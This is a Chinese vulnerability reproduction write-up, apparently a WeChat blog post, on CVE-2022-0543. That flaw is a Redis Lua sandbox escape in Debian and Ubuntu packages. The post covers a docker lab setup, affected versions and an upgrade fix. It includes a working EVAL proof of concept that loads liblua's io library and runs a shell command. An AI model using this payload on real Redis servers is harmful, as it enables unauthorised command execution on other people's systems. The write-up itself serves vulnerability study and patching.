0x01 前言
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
0x02 环境搭建
利用docker搭建漏洞复现环境
git pul // 更新vulhub
拉取漏洞环境
docker-compose up -d
0x03 漏洞复现
利用redis-cli工具连接redis
利用poc验证:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
0x04 漏洞影响
影响版本
An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives
Redis >=2.2 and < 5.0.13
Redis >=2.2 and < 6.0.15
Redis >=2.2 and < 6.2.5
安全版本
Redis 6.2.5、6.0.15、5.0.13或更高版本
0x05 修复建议
更新最新无漏洞版本
0x06 参考链接
https://twitter.com/jas502n/status/1501949645026918403
https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
https://mp.weixin.qq.com/s/OajI--GbU97L8oL___QMFQ
>精彩回顾<
Cobalt Strike免杀脚本生成器|cna脚本|bypassAV
xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法
【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现
关注我
获得更多精彩
坚持学习与分享!走过路过点个”在看“,不会错过
仅用于学习交流,不得用于非法用途
如侵权请私聊公众号删文
原文始发于微信公众号(EchoSec):【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现